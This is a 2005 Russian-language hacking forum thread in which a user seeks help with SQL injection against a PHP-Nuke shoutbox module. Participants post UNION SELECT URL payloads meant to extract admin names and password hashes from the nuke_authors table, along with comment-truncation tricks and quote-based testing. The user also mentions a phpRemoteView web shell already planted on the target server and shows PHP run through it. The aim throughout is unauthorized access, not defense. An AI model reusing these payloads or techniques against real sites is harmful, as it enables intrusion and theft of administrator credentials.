помогите с sql инъекцией

Discussion in 'Песочница' started by z0pa, 6 Jul 2005.

  1. z0pa

    z0pa New Member

    Joined:
    6 Jul 2005
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    есть скрипт в нем такая строка:
    $query = "select * from ".$prefix."_quiecom_shoutblock order by id desc limit $start, $conf[17]";
    переменная $start не фильтурется и берется из значения урла OFFSET, переменная $conf[17] всегда равно 25
    я пробовал сделать так:
    /modules.php?name=Qshoutblock&offset=0,25 UNION SELECT null,name,pwd,aid,null FROM nuke_authors LIMIT 0
    переменную $conf[17] он засунуть засунуть в конец запроса и получиться
    ... FROM nuke_authors LIMIT 0,25
    ---------
    но почему то не прокатывает так, пробовал провести через шелл пхпешный он мне выдает ошибку, пробовал и так и сяк понял что не хочет работать с order by ..., без него скрипт выполнялся (в шелле).
    подскажите возможно ли всё таки как то составить запрос что бы он выдал мне значения из другой таблицы
     
  2. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,055
    Likes Received:
    1,532
    Reputations:
    1,128
    попробуй после после nuke_authors поставить /*
    т.е. у тебя получится:
    /modules.php?name=Qshoutblock&offset=0,25 UNION SELECT null,name,pwd,aid,null FROM nuke_authors /*
    LIMIT 0 - хз, но помоему это можно опустить..
    по поводу таблиц - ну тебе наверно лучше знать какие там существуют таблицы, главное, чтобы sql-инъекция была).
     
  3. z0pa

    z0pa New Member

    Joined:
    6 Jul 2005
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    2Rebz:
    пробовал и так, но экран остается белым и всё.
    какие таблицы там я знаю, это нюковский движек. там лежит phpRemoteView и в нем я могу на ПХП выполнять скрипты, делал так:
    $dbc = mysql_connect('localhost','юзер','') ;
    mysql_select_db('nkchatr7_nuke',$dbc);
    $query = "select * from nuke_quiecom_shoutblock order by id desc limit 0,1 UNION SELECT 0,name,pwd,aid,0 FROM nuke_authors";
    $res = mysql_query($query,$dbc);
    while($str = mysql_fetch_array($res)) var_dump($str);
    mysql_close($dbc);
    так не работает даёт ошибку, если запрос изменить т.е. заключить в скобки всё до UNION работает и если убрать ORDER BY тоже работает, но этого я не могу сделать через УРЛ. вот я просто и хочу знать всё таки через УРЛ как то можно пробиться в таблицу nuke_authors или все таки бесполезно.
     
  4. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,055
    Likes Received:
    1,532
    Reputations:
    1,128
    Что-то я не заметил...
    SQL-inj. проверяется наличием ковычки.. т.е,:
    /modules.php?name=Qshoutblock&offset=0,25' . Ковычка не экранируется?
    так и надо делать.. если инъекция есть, то в дальшнейшем будет:
    /modules.php?name=Qshoutblock&offset=0,25' union select .... from nuke_authors /*

    попробуй это в браузере...
    ORDER BY кажется нельзя убрать.. только если в комменты засунуть.. - /*
     
  5. z0pa

    z0pa New Member

    Joined:
    6 Jul 2005
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    да, если написать:
    /modules.php?name=Qshoutblock&offset=0'
    выдает ошибку:
    Error in query: select * from nuke_quiecom_shoutblock order by id desc limit 0', 25. Array
    вот от сюда я и начать плясать
    но ORDER BY ни как через УРЛ не закоментировать, ибо переменная через которую можно инъектировать уже после него находиться.
    может всё таки как то можно их увязать?!
    чувствую это дырка, но где она :)
     
    #5 z0pa, 6 Jul 2005
    Last edited: 6 Jul 2005
  6. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,055
    Likes Received:
    1,532
    Reputations:
    1,128
    ага, значит всё нормуль.. инъекция есть..
    в дальшнейших запросах эту ковычку не убирай..
     
    1 person likes this.
  7. z0pa

    z0pa New Member

    Joined:
    6 Jul 2005
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    по идее должно нормально сработать такой урл:
    /modules.php?name=Qshoutblock&offset=0,25 /*
    но он выкидывает на начало страницы, походу дела стоит какой то фильтр